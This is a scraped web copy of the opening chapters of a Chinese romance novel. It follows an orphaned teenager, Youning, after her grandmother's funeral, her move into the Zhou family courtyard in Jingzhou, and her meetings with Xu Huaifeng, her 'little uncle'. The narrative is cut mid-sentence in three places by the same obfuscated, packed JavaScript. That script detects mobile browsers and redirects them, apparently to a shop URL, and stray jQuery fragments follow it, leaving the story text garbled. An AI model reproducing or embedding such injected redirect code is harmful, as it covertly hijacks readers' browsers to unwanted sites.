《拥风[寄养]》
1. 楔子
不知是第几次划动火柴,每当火焰亮起,阿嬷那张泛黄的照片便在黑暗中浮现一瞬。
可梅雨季仿佛生了无形的手,总在攸宁凝视的刹那,将那一点烛光掐灭。
她已跪了整整一宿,膝下的蒲团早已被湿气浸透,身旁散落的细梗堆成了小山。
隔壁家的婆婆推门进来时,她正执拗地划亮最后一根火柴,火苗颤了颤,终究没有燃起。
攸宁扶着棺木缓缓起身,双腿早已麻木得失去知觉。
她摸索着从衣兜里掏出几张皱巴巴的纸币,声音嘶哑:“谢谢您帮阿嬷联络丧事,这是我的一点心意。”
话音落下,两人都红了眼眶。
在这个依山傍水的小村子里,红白喜事靠的都是邻里情分。
抛开两家往日的情谊不谈,婆婆也是看这姑娘实在可怜——十五六岁的年纪,孤零零一个人,到底还是个孩子。
婆婆把钱推了回去,长叹一声:“姑娘,你快去避一避吧,等会儿攸阿嬷的子女就要来了。”
话音未落,啪嗒一声,屋顶渗漏的雨水精准地浇灭了灵前最后一根蜡烛,青烟袅袅升起,在潮湿的空气里盘旋不去。
这座村子太小,小到藏不住任何秘密。
攸阿嬷的丈夫走得早,她二十岁就担起了养家的重担,不得已撇下三个年幼的孩子北上打工。
多年后归来,已是满头霜雪,怀里却多了一个襁褓中的女婴。
人人都说阿嬷糊涂,自家儿女都已离心,何苦再养个别人不要的孩子。
可无论闲言碎语如何纷飞,阿嬷总是笑笑不语,一声声“宁宁、宁宁”地将她拉扯长大。
所以即便攸宁早知道自已并非亲生,也从未想过探寻身世。她只想陪着阿嬷,侍奉左右,为她养老送终。
可世间事,总难如愿。
入梅那天,阿嬷倒在了缠绵细雨中,再没醒来。
攸宁永远忘不了那双眼睛——垂垂老矣,却仍望着门外的庭院,满是未竟的渴望。
可直到今日出殡,阿嬷的三个亲生子女才姗姗来迟。
中年男女在院外相互推搡着,血盆大口张张合合,尚未见母亲最后一面,已开始争夺老屋的继承权。
明明早已入春,恶寒却随着那些粗俗的言语,如同蚂蚁般从四肢百骸爬进来。
攸宁来不及避开,只好退到角落,对面是一面破碎的镜子。
镜中,她瘦小的身子被宽大的孝服笼罩,毫无血色的脸被衬得像个游魂。
当虎背熊腰的男人破门而入时,镜面上的裂纹似乎又深了几分。两个女人紧随其后,无一不是青面獠牙的模样。
明明前一秒还在彼此争吵,看见攸宁的瞬间,他们却不约而同地将矛头指向她。
“装得倒是挺孝顺的,连孝服都穿上了,倒显得我们是外人了。”女人阴阳怪气地说。
攸宁抿了抿干裂的嘴唇:“里间床上还有三件孝服,是我提前准备的。”
她以为他们至少会念及一丝血脉亲情,换上孝服送母亲最后一程。
但男人毫无耐心,朝地上啐了一口:“少废话,赶紧把老屋的钥匙交出来!老婆子肯定把房产证也给你了吧?”
他们绕过厚重的柏木棺椁,一步步逼近。
攸宁一边摇头一边后退:“我没有钥匙,也不知道什么房产证。”
阿嬷最后的时光里,已如一株枯萎的野草,不吃不喝,不言不语。
女人发疯似的翻找她的衣袋,隔壁婆婆看不过眼上前阻拦,却被粗暴地推开。
确定她身上空无一物后,三人立刻散进各个房间,翻箱倒柜地搜寻起来。
噼里啪啦的声响如地震般骇人,一件件老旧的家具被抬出来,当场就当废品换成了现金。
攸宁抹去脸上的泪水,死死抱住阿嬷用了半辈子的缝纫机不肯松手。
女人抬腿朝她肩膀踹了一脚:“活该你没人疼没人要!被富贵人家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698557|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嫌弃丢了出来,现在又克死了我阿妈!”
这一脚其实不重,但攸宁太久没有进食,失去重心重重摔在地上。
随即男人从身后揪住她的衣领,像拖一袋垃圾般将她拽进已空无一物的仓房,哐当一声落了锁。
她趴在湿漉漉的地上,听见隔壁挪动棺木的声音,挣扎着爬起来拼命拍打门窗:
“放我出去!我要出去——”
不知过了多久,嗓子已经痛到发不出声音。她浑身筋疲力尽,终于绝望地蜷缩在逼仄的角落。
昏暗的仓房逐渐闷热如蒸笼,周身仿佛浸透了水,白色的孝服汗津津地贴在身上,黏腻得让人透不过气。
因此当房门发出轻微的响动时,攸宁以为自己中了暑,热出了幻觉。
她先是嗅到一阵浸润的凉风,抬眸间,看见一个男人赫然立在门口,破晓的晨光在他身后流淌。
他颀长的身影被曦光笼罩,肩胛微向前倾,朝阳便顺着肩线滑落,在地面投下一道窄长的影子。
她从未见过这样的大人,浑身上下仿佛被无形的空气隔绝,像是另一个世界的剪影,风一吹就会散去。
最终,男人在离她不远不近的地方停下:“不用怕,他们已经走了。”
攸宁迎着霞光缓缓仰头,先是看见他骨节分明的手腕,指尖一枚钯金打火机咔嚓作响,火苗在晨曦中明明灭灭,宛若一颗跳动的心脏。
随即撞进了一双深眸——那里面像是水下窥不见底的漩涡,能瞬间将人吞没。
她的视线慌乱闪躲,最后落在他做工精致的男士皮鞋上,连裤脚都一丝不苟,不染纤尘。
男人垂眸,瞧着瑟缩成团的人儿,小得仿佛还在襁褓之中,一只手就能托起。
他徐徐张口,吐出似是寒气的烟雾,而后朝她招了招手。
攸宁怔了一下,再抬头时见他眉梢微抬,凉风自身后涌来,带着悠长而陌生的香气。
“宁宁,过来。”
2. 01
这儿实在不是个宜居的地方,这是攸宁对京州的第一印象。
车外热浪滚滚,将两侧的银杏树榨出最后一点水分,一下车便进了日头底下,骄阳仿佛不把人晒干便不罢休。
她只在电视机上见过这样的宅院,三进三出的四合院透着一股无声的压迫,小腿儿般高的门槛险些将她绊个趔趄。
司机将人和行李撂下便驱车离开,一个自称冯婶的女人从侧门探出脑袋,唤了一声丫头叫她进去。
“昨天老太太刚出院,今天来探望的客人忒多,还是走侧门方便些。”她解释道,声音平平板板。
攸宁点了点头,拎着行李跟了上去。她步子稀碎,紧跟在冯婶身后,像是只谨慎的麻雀。
陌生环境带来的不安感,让她想要开口说些什么,但冯婶只将后背留给了她,像是比她还要谨慎数倍。
偶有旁人投来打量的目光,询问她是谁家的姑娘,也都被冯婶以“老仆人家的女儿”的名义搪塞过去。
从外头看,这院子不显山不露水,内里却别有洞天。一砖一瓦沿中轴铺陈,檐角飞翘,池中几支荷花开得正盛,粉瓣在烈日下有些蔫蔫的。
周家虽不如往日风光,但仗着那位青云直上的亲家,仍有不少旧识以探病为名,前来维系交情。
因此当攸宁走到南房外时,里头正谈笑风生。
她并非有意偷听,实是屋内声响敞亮,几个贵妇聚在一处闲谈,与村口闲话的妇人们并无二致。
“淮风的婚事一日不定下来,不知得耽误京州多少姑娘的心。”
“可不?就说我家那妹妹,自打年初见了人一面,便天天催我来打听,我耳朵都快起茧了。”
“他年纪虽轻,辈分却不小。旁人不好开口,你这做姐姐的总能催催吧?”
女人多的地方,心思便如藤蔓缠绕,谁不想为自家摘下这枝高岭之花,护得家里数十年平步青云。
况且这朵已能与主家平分秋色,将来只怕更要青出于蓝。
胥怜月转了转腕上碧玉镯子,轻声笑道:“我毕竟不是亲姐姐,这话哪里好催得。”
明白人听到此处,便寻个由头起身告辞了。
胥家这门亲,岂是寻常人家能攀附的,这定是另有打算了。
冯婶让攸宁进去的时候,里面的人已经走了个干净。
攸宁背着行李袋端正站好,略有些紧张地看着坐在主位上的女人,勉强藏住那一点局促:“妗,妗子好。”
在京州“妗子”是舅妈的意思,她不知道具体是哪两个字,普通话也实在算不上标准。
胥怜月年纪不到四十,身着件素净旗袍,头发低绾:“你就是攸宁吧,都出落的这么漂亮了,快过来让我瞧瞧。”
偏黑黄的肤色、干巴巴的身子、假小子般的短发,攸宁听过最多的称赞是能干,漂亮倒是第一次。
明明攸宁从未见过讲话如此温言细语的人,却莫名地感受到了一种疏离:“你母亲走的时候你才豆丁那么点儿大,没想到一眨眼这么多年过去了……这些年是周家亏待了你,不过不管怎么样,回来了就好,日后就跟在家一样,有什么需要跟妗子说。”
到底是年纪太小,看不出和善下的寒暄作态,直至行李袋将胳膊勒出条红痕,也不敢伸手去挠。
更何况主动攀谈去问,明明在十六年前就将人抛弃,为什么如今又要突然认回。
攸宁不敢细想,毕竟她现在急需的是一个能遮风挡雨的屋檐。
而这里比想象中的好太多太多。
墙角落地钟嗡鸣报时,已是下午三点钟了。
胥怜月安排好她的住处,这才让冯婶将她的行李接了过去:“老太太午休也该醒了,她病里就一直念叨着你,你赶快过去看看吧。”
……
几扇雕花的月洞门将四进的院子连在一起,老太太养病图清净,住在了最里面的厢房。
攸宁原以为上了年纪的人气色都是不好的,阿嬷走之前就十分消瘦萎靡,不料并不都是如此。
一头银发的老人半靠在床头,虽皱纹纵横却面色红润,瞧见她的时候险些将手中药碗打翻。
“小婉?是小婉回来了吗?”
一旁伺候的何姨赶忙接过碗来,放攸宁进屋前特意叮嘱道:“老太太糊涂认不清人,说什么你都应着,千万别让她难过。”
攸宁见过村子里糊涂的老人,一年四季守在门口,逢人便叫儿女姓名。
看到同样浑浊的眼神,她瞬间明白了过来,上前握住苍老但柔软的手,拭去老人眼边的泪:“您别哭,我这不回来看您了吗。”
可她越是安慰,老太太掉泪越是厉害:“小婉你别怪我,你爸也有难言的苦衷,去跟他认个错……”
话讲得颠三倒四没有逻辑,攸宁只是频频点头说好,笑着接受了这份突如其来的亲情。
却隐隐得猜出,这个小婉可能就是她已经去世的母亲。
何姨并没让二人独处太久,归根到底不是眼皮子底下长大的孩子,怕心焦气躁出什么岔子,便借着送补品的口进来了。
“这是淮风上次来带的燕窝,厨房刚炖好的,快让小婉看着您喝了吧。”
可令人意外的是,偏偏这样一个普通话说不顺溜,初来乍到连人都认不齐的姑娘,把老太太自病后第一次哄得咯叽咯叽笑了起来。
老太太捕捉到那个名字,牵起攸宁的手,喃喃地道:“要是能再结个亲家我可就享福喽。”
听到这儿,何姨确信老太太是彻底糊涂了,趁机连哄带骗喂下一整碗燕窝。
“诶呦祖宗,上面差着年纪,下面差着辈分,这要真成了不就乱套了吗。”
攸宁不懂其中关系,只是静静地听着。
不料多年以后,老人的这番糊涂言语,一语成谶。
—
早年周家靠钢铁生意发的家,在京州属于后起之辈,算不上什么高门大户。
后来随着时代不得已变了成分,便以肉眼可见的速度没落了下来,所幸到了这一辈儿与胥家攀上了亲,才算勉强立住脚跟。
如今当家的是周仕东,老太太的儿子,胥怜月的丈夫,攸宁需唤一声舅舅。
周仕东很少回老宅,平时长年累月居住在外,除非碰上节假日和家里要事。
攸宁仅仅是在第一天远远和他打过照面儿,真
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698558|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正意义上认识是八月中旬中元节祭祖的时候。
老太太行动不便,没法去寺里上香,却执拗地让攸宁去上香、磕头、认祖归宗。
家有一老,如有一宝。
周仕东虽没直言反对,但一路上脸色不大好看,尤其是在得知自己儿子在外鬼混,将近半个月没有回过家的时候。
这是攸宁到京州后第一次外出,随着周家夫妇二人下车后,看见几个手捻佛珠的僧人恭敬地迎了上来,难免有些紧张。
胥怜月和人商量着这次敬香的规模和人数,直至攸宁伸手去接分发的香烛时,始终一言不发的周仕东才道:“行了,用不着大操大办,就按往常的来。”
小僧弥听罢有些为难地挠了挠头,他明明记得这家小辈是个儿子,祭祖是大事,香分错了人可是要被师父骂的。
“舅舅,妗子。”
攸宁将香烛原封不动放了回去:“我路上晕车有点不舒服,想去洗把脸。”
……
一瓢清水拂面,降去全身的燥热,也让人变得更清醒起来。
纵使是攸宁再没眼力价儿,也看得出这个舅舅并不喜欢她。
说什么认祖归宗,只是老太太的一厢情愿。
攸宁望着波澜不惊的水面,在某一瞬间与那人的剪影重合,浮现一道清矍的背影。
在她想入非非时并未注意到,引她过来的小僧弥已经离开迎了旁人离开。
良久觉得时间差不多,想要起身回去时,才发现四周空无一人。
殿宇森森,像是岭南的山一般一重连着一重,仿佛陷入走不出的迷梦,就连宝相庄严的佛样也失去了祥和的面色。
攸宁不停地向前走着,直至把头探进最后一间殿门:“请问有人在吗?”
她几乎是第一眼看到了那个男人,着了件最素净的白色衬衫,两颊微凹的弧线又在颧骨处撑起,山根高耸没入眉骨,在眼窝处打下浅浅的阴影。
明明是重骨相的面容,此刻却比普度众生的菩萨还要悲悯。
他抬眸看见了痴痴的她,好似并不意外,钯金打火机喷出的焰火均匀持久,不同于盒装的火柴。
攸宁愣了一下,是想说些什么的,嘴却像被线缝上一样出不来声。
他们并非第一次见面,数月前阿嬷的葬礼上,她被阿嬷的子女视作煞星丢进了仓房。
浑浑噩噩不知多久,房门打开,他突然出现在眼前,就如同今日一样。
他亲自将她接回京州,却从未讲过自己姓名,她怕冒犯不敢询问,也不知该如何称呼。
“您……”
骨节分明的手指靠近薄唇——“嘘”。
他们站的有一些距离,气流却像喷溢到了她的身上,那是一种难言的感觉。
“在你左手旁的桌上,帮我拿根香来。”
攸宁迟钝地点了点头,小心翼翼抓了几支香,迈着轻飘飘地步子向他走去。
他稳当接了过来,伸进蓝紫色的焰心,很快便冒出一缕淡淡的青烟。
与此同时,攸宁嗅到了一股气味,那是萦绕在鼻尖数日难以忘怀的香气。
原来是檀香燃烧时散发的味道。
3. 02
虽然存在感极弱,但胥淮风能明确地感知到她正在看他。
香火的余温将灯芯点燃,随即被托置于佛像前的供桌上,整整齐齐摆着十五盏烛灯。
与香烛不同,这灯火随风摇曳,生命力格外顽强,怎么吹也吹不灭。
胥淮风起身看向瘦瘦小小的人,同第一次见面相比,小姑娘肤色白了不少,脸上也算有了些气色。
大概是对他的突然出现不知所措,等了许久她才挤出一句话来:“您是来接舅舅和妗子的吗?”
他看起来这么像愿意接人的吗。
胥淮风眼皮动了动,并没有应这话,而是在小姑娘试探的眼神中问了一句。
“正好多了一盏,你也想点灯吗?”
第十六盏灯安放于掌心,酥油浸润了棉线,仅杯口那么大小。
攸宁怔了一下,像是有些意外,胥淮风不徐不疾地补充道:“供灯祈福,只是许个愿,没有什么忌讳的。”
是诸法空相,不生不灭,不垢不净,不增不减。
很快掌心一空,指尖剐蹭,似被小猫挠了一下,有些发痒。
然后是极轻微而拘谨的一声:“谢谢您。”
在胥淮风手中的杯子,到了攸宁手里则变成了碗般大小。
他微不可察地笑了笑,将打火机和香一同递过去,看她学着他刚才的样子将灯点亮,然后小心翼翼地放到了供桌角落,一处最不显眼的地方。
明明说话行动都有些迟缓,学东西倒是很伶俐。
小姑娘照葫芦画瓢,在距他一席之隔的位子跪下,双手合十置于胸前,口中念念有词,格外的虔诚。
以至于丝毫没有注意到他的离去。
……
不知过了多久,攸宁睁开眼时,殿中已是空荡荡的,惟软垫上有道浅浅的痕迹。
小僧弥拿着抹布进来擦拭佛像,看见她后大吃一惊,声音在空无一人的大殿回荡:
“你是怎么进来的?不对,你怎么还没走啊!”
他记得周先生仪式过半接了个电话,都没等到上香就和家人风风火火地回去了,临走时模样堪比镇守大雄宝殿的四大天王。
攸宁还以为是自己做错了什么:“抱歉,我……”
还没等她把话说完,小僧弥便拽住她的袖子往外跑,甚至都顾不上礼数。
“快点,再跑快一点!你家人有事走得急,怕是把你落下了。”
攸宁听到这愣了一下,摆动的腿脚像是泄了气一样。
寺庙依山而建,细密的台阶如同参差的犬牙,她乘车行了万里山路都没有晕过,却在光与影间穿梭时轻易就花了眼。
山门似画框圈住一片生机盎然,行至将近,她却停下了脚步。
比风先到的,是树叶摩肩接踵的声音。
那圆柏绿得摄人心魄,胥淮风长身鹤立在一片阴翳中,正在同一旁眉厖齿鲵的僧人谈笑风生,二人像是旧相识。
小僧弥撒开袖子规矩立好,恭恭敬敬地喊道:“住持师父。”
这是连周仕东都没能请出来的寺中住持,说是在闭关修行,暂不待人。
胥淮风掀起眼帘,看小姑娘大汗淋漓,头发都打成了缕儿,活似个刚从水里捞出来的落汤鸡。
“慢点走,别着急。”他道。
住持阖目,捻动佛珠,连念了三遍南无阿弥陀佛。
—
有些记忆即便再缥缈,也会像烙铁一样在脑海留下深深的痕迹。
她对于胥淮风的信任像是一种本能,可以毫不询问便听从他的安排。
熟悉的黑色轿车停在路旁,刘秘从副驾驶位下车,帮她打开后座车门:“攸宁,好久不见了。”
当时胥淮风的事务繁忙,并未陪攸宁从岭南到京州,而是中途去了海市办事。
刘秘跟了胥淮风多年,被专门派来陪了她几日,循序渐进但十分浅显地告诉了她的身世与他们的来意,内容精简、点到为止。
车内的温度比外面要低上许多,像是入了秋般凉爽干燥。
刘秘和善地询问道:“最近过得怎么样?生活还适应吗?”
“嗯,”攸宁抿了抿嘴,迟钝的不大明显:“还挺好的。”
话音落下,车门拉开,沙发微陷。
胥淮风敛着衣服坐了进来,仅距她咫尺之隔的距离。
尽管位子足够大,攸宁仍向旁动了动,无意间透过车窗,看见住持拎着小僧弥的耳朵逐渐远去。
刘秘微微俯身问道:“先生,今天下午三点有场招标会,您要过去吗。”
明明穿着西装革履,在她眼中同样是尊贵的人,此刻在他面前却变得低眉顺眼起来。
胥淮风几乎没有思索:“先去周家吧。”
车子起步,稳中行进,升起的挡板将车厢化为一个独立的空间。
攸宁一路坐得僵直,车内静得连呼吸声都清晰可闻。
她摩挲着手指,直至行程过半,终于鼓起勇气问道:“您是为家人来祈福的吗?”
他既不是来找周家夫妇,又与寺中住持熟识,甚至还特意为他辟出一间大殿点灯。
“我不信佛。”
攸宁这才直视看去,发现他眉目皆偏冷,看不出什么情绪。
一种莫名的想法突现,那个立在殿中悲悯的人好似并不存在,而是她无意间点上的妆。
窗外已从草木葱葱的寺庙,变换为层楼叠榭的都市。
胥淮风道:“你呢,有许什么愿吗?”
攸宁这才意识到她似乎忘记了许愿,只是在不停地向阿嬷赔罪,问自己如果不是因为她的存在,阿嬷会不会早与满堂儿孙共享天伦之乐。
她没有说话,他无心追问。
就这样停摆了许久,车外景象逐渐变得熟悉起来。
她突然点了点头:“我希望我身边的人都能健健康康,快快乐乐,长命百岁。”
多么贪心的愿望。
这是攸宁第一次听见他笑,极轻的声音从胸腔处发出,是在意料之外的好听。
“是吗,那就托你的福了。”
—
攸宁最终也没能开口问他姓名。
毕竟绕道来这一趟已经很麻烦了。
下车后,攸宁朝着后座的方向鞠了一躬:“谢谢您送我回来。”
更谢谢的是在她绝望的时候,他千里迢迢送来的一线生机。
攸宁回首,隔着车窗,她的倒影附在一道朦胧的轮廓上。
进门第一日,胥怜月便给了她一把小门的钥匙,开在了院子西面一角。
攸宁原本以为不会有人注意到她,不料一进门便撞见冯婶风风火火地朝后面老太太的院跑去。
“丫头,你快去厨房帮我盯下,锅一开就赶紧关上啊!”
说罢冯婶便一路小跑,迅速消失在视线中。
攸宁的房间刚好被安排在厨房斜对过儿,一间单辟出来的小房。
她很喜欢这个屋子,宽敞又安静,还能偷偷看人做饭学上两招。
锅里是一屉萱萱软软的大白馒头,等她关掉火退了出来,才注意到外面廊房下停着一辆摩托车。
车轮好似汽车车胎,排气管比拳头还大。
就在攸宁觉得好奇,想要伸手去摸的时候,堂屋那边传来东西摔落的声响,噼里啪啦堪比一场小型地震。
随后是周仕东的怒吼声:“你可真是出息了,敢带着贺家的儿子去飙车,人家老子打来电话,说正在医院躺着呢!”
她走到漏窗外停下脚步,看见了里面背身而站的人,身形是个少年。
桌椅东倒西歪,花瓶碎片散落一地,显然已是经过一场动荡。
他侧过脑袋,不屑地嗤了一声:“你不是总说想认人家当儿子吗,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698559|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要不我去医院躺着,他来替我叫爹。”
此刻坐在一侧的胥怜月才发话道:“望尘,我和你爸连香都没上完,接到电话就赶了回来……”
攸宁顿了一下,明白了这就是周仕东和胥怜月的独子,年长她一岁的表哥。
然而,无论胥怜月再说什么都没用了,周仕东的脸已是一阵红一阵白,倒拿起桌上的另一个青花瓷瓶。
“你他娘的给老子跪下,看我今天打不打得死你!”
年少气盛当然不肯跪,最终被周仕东朝膝盖踹了一脚才从。
这颇有些要闹出人命的架势,纵是与攸宁无关也心惊了一下。
正当她在外面来回踱步,想要寻个理由进去的时候,听见走廊那端传来了急促的拐杖声。
……
老太太虽然糊涂,却有自己的坚持。
一手扶起自己的孙子:“儿啊,你赶快起来,年纪大了可得护好膝盖。”
一棍去打自己的儿子:“龟孙,以后出门别说你姓周!”
最终看在自己老娘的份上,周仕东放了自己儿子一马。
除了当事人,屋内其他人都强忍笑意,包括攸宁在内。
直至她扶着老太太回房睡下,在回去的路上才止不住笑出了声来。
这是来到京州后,她第一次这样轻松的笑,故而丝毫没有注意到坐在摩托车上的人。
“你不会是在笑话我吧?”
周望尘从车上跳了下来,神色不是一般的难看,似座大山一样堵到她面前。
虽然二人年纪相仿,但比起过去学校的男生而言,他发育的更像是个成年人。
攸宁察觉到不善,收敛了笑意,立即摇了摇头:“没有。”
周望尘双手抱肘,自上而下扫视着她。
“你是新来的?我怎么从来没见过。”
被人审视的感觉并不好,攸宁低眉顺眼,硬着头皮道:“我叫攸宁,是半个月前从岭南那边过来的……”
依旧是那糟糕透顶的普通话。
周望尘皱着眉:“说什么呢,叽里咕噜的,是从越南来的吗。”
攸宁悻悻闭上了嘴,又想了想,一字一句地道:
“我是攸婶家的小女儿。”
周望尘挑了挑眉,轻哼一声:“哦,原来是下人家的孩子啊。”
似乎这样说,人就被分出了三六九等,就能弥补他丢失的那点自尊心。
攸宁没再讲话,低下头不语。
“对了,有没有人跟你说过,”少年向前走了两步弯下腰来,笑着说出最残忍的话,“你说话声真的很难听,以后还是少说点吧。”
日落西山,连风都比白天凉了一些。
极度清冽的声音从身后传来:“周望尘,你就是这么跟妹妹讲话的?”
攸宁闻声回头,见男人出现在眼前。
他黑色发丝被余晖映出浅棕的暖调,跨过门槛不由分说向这边走来,踏在青色石砖上,脚步声惊散一片恣意的池鱼。
周望尘僵直了身子,再开口已然换了声调:“小舅,你怎么在这儿啊?”
是比同老太太说话时更甚的恭敬。
攸宁怔在原地,大脑已是一片空白,只有小舅二字不停地回荡。
无数称呼在此刻重叠,胥淮风这个名字轻易便浮了出来。
他径直立到她的身旁,成年男人的身形是更加的高大宽阔,少年轻易便被逼退。
“她叫攸宁,是你姑姑的女儿,以后会在这里住下去。”
攸宁悄悄抬头,只见胥淮风脖颈处衬衫扣子开了一粒,露出隆起的喉结。
在她的注视下,随着说话声上下滚动:“宁宁,先回去休息吧。”
良久,惟有睫毛颤了颤,不知是因眨眼还是起风。
“我知道了,小舅。”
这一声,便是一世的囹圄。
4. 03
随着暑假接近尾声,一切步入了正轨。
周仕东神龙见首不见尾,胥怜月插花品茶悠闲自在,老太太的药罐一日烹三次,周望尘的摩托车被锁了起来,上面落了一层厚厚的灰。
明明是这样大的院子,却很难凑齐一桌人。
攸宁看着高高的门槛,时常会想是不是它将人与人的关系变得疏离。
直至某日,突然登门的人终结了她胡思乱想的时间。
“那孩子的户口已经落好了,学校也是和望尘同一所,以后上下学还方便些。”
她扒着窗户向里面瞧,试图寻找那个身影,然而等出来的只有刘秘一个人。
刘秘看她眉头不展,以为是不愿上学:“能认识新的朋友不开心吗?”
“没有,很开心。”
攸宁摇了摇头,说不清自己在遗憾什么,明明她已经得到了许多曾经想都没想过的东西。
不过随着校园生活拉开帷幕,这些似有若无的困扰很快便被忘却。
与新奇的环境、陌生的师生、全新的课程相比,最令她难熬的是每日往返学校的车程。
周望尘岔着腿占去了一大半位子:“喂,昨天作业你怎么空了那么一大片?”
他念高三,她念高二,语文英语倒还好说,理化生则实在应付不来。
攸宁从书包里把今天的作业拿了出来,被人一把拽走,塞进了自己包里。
“我还没学到圆周曲线那章。”
除了交换作业,周望尘很少和她说话,直至车子在和学校隔了一条街的公交车站停下:“行了,你下去吧。”
然后将她放在街边扬长而去。
他料定攸宁不敢跟胥怜月说什么,而她也确实从未提起过。
因为她能隐约感受的到,周家人似乎在遮掩与她的关系,从不带她一起去公众场合。
由于入学晚错过了分班考试的缘故,攸宁直接被插进了理科八班,被人以谐音戏称为“飞虎班”。
她则从曾经班级的领头羊,成为了“飞虎”中的“飞虎”。
“等会儿体育馆有篮球赛吧?”
“露露,你不去看看你准男友?”
正当攸宁在题海中挣扎时,同桌敲了敲她的桌子:“攸宁,陈露露叫你呢。”
她抬头看去,只见描眉打眼的女生朝她挥了挥手:“喂,新来的,我请你喝可乐吧。”
大概是因为怕说错话,攸宁仅是在课间和同桌聊过几句,朋友更是寥寥无几。
故而对班级最受欢迎的女生的搭讪受宠若惊。
于是从小卖部出来的时候,攸宁怀里抱着整整十罐可乐,应陈露露的要求,她需要在打铃前把这些都送到体育馆二楼的看台上。
然而对于一个每日在教室和卫生间两点一线的人来说,迷路似乎是预料之中的事。
不知弯弯绕绕走了多少路,也没有找到体育馆的入口,而一块陈旧的壁板反倒吸引了她的注意。
那是一面挂满照片的校友墙,上面无不是杰出人物或优秀学者,许多名字曾在报纸上出现。
尽管都是千篇一律的证件照,攸宁还是第一眼就看到了胥淮风。
哪怕是最普通的宽松校服、黑色短发,在其中仍然是极显眼的存在。
那是一张学生时代的照片,与现在的样貌大致相同,但能从眉眼当中看到尚未褪去的青涩。
攸宁靠近了些,发现与旁人近乎繁琐的履历不同,他的照片下仅有一行字——以近七百分的成绩考入京大。
那是京州乃至全国最好的,也是她想都没有想过的大学。
泛黄的相纸和陌生的数字都好似在诉说,即便过了十二载仍能窥见那时少年意气风发。
原来他比她大了整整十二岁。
十二岁是怎样的概念?
是她还在阿嬷脚边光着屁股玩泥巴时,他早已成为学校操场上意气风发的少年。
是她踏上了他曾经走过的路时,他早已抵达了路的尽头。
不知怎地,手臂一软,被外套兜住的汽水噼里啪啦滚落在地。
攸宁这才回过神来,追着好似长出腿的可乐到处跑,十罐齐下,好不滑稽。
“同学,这是你掉的可乐吧?”突然一只手伸了过来。
攸宁点头道谢,看见面前的女生长了一对招风耳,眼睛似葡萄般大。
“你也要去体育馆吗,我顺路正好可以帮你拿。”
哪怕时隔多年,攸宁回想起与郭垚的相识,都会感慨命运是个很玄的东西,似乎有什么东西早已预知未来,为了通往某种结局将本不相干的人生牵扯到一起。
等他们到体育馆时,比赛已经过半。
攸宁在球场上隐约看见了熟悉的身影。
看台上的陈露露一脸不耐烦:“我不是让你下课就过来吗,就这点东西怎么拿了这么久。”
还没等她开口,身旁的小辣椒便炸了。
“怎么又是你啊陈露露,没长手没长脚,就长了一张嘴是吧?”
眼见事态就要升级,攸宁拉了拉郭垚的胳膊,把可乐送了过去。
郭垚仍有些不服不忿,叉着腰道:“你越是这样,他们以后就越蹬鼻子上脸。”
说时迟,那时快,随着易拉罐打开,可乐像一股喷泉呲了出来。
攸宁拽着郭垚跑出体育馆很远才停下,此时郭垚已经笑得前气不接后气了。
尽管她再三说自己是不小心的,郭垚就认定她属于蔫坏的那类,且十分欣赏她的这种品质。
—
胥淮风了结完今日的公事,从楼上下来时,杨峥这厮正在一边打游戏一边煲电话粥。
“这不快中秋了家里事多,我实在抽不开身,等过段时间就去你那儿探班啊。”
随着电视机突然黑屏,杨峥骂了声娘,回头看见拎着遥控器的胥淮风,便讪讪地挂了电话。
胥淮风耸了耸束缚的衣领,坐到了沙发另一端。
“怎么,小模特玩腻歪了,跑我这儿来解闷呢。”
杨峥举起双手发誓:“您这就是冤枉我了,我哪儿敢啊,这不是想来问你个事儿吗。”
胥淮风拾了本书置若罔闻,杨峥则撇掉手机凑了过来。
“贺家晚宴这回你去不去呀?”
每年中秋贺家都在戏楼摆宴,说是与亲朋好友联络联络感情,实则是变相给家里老大相媳妇,因此去的多是些妇人和小辈。
胥淮风早年陪家里老人去过几次,但听不大惯那咿咿呀呀的曲,后来就很少参与了。
他这带头一走,杨峥几个也就随之不去了。
“去。”
话音落下杨峥便精神了起来:“太阳打西边出来了?是不是怜月姐让你去的,想让贺家看在你的份上消消气儿。”
前段时间周望尘带着贺家品学兼优的小儿子玩飙车,把人弄进医院住了小一个月,这事闹得风风雨雨,
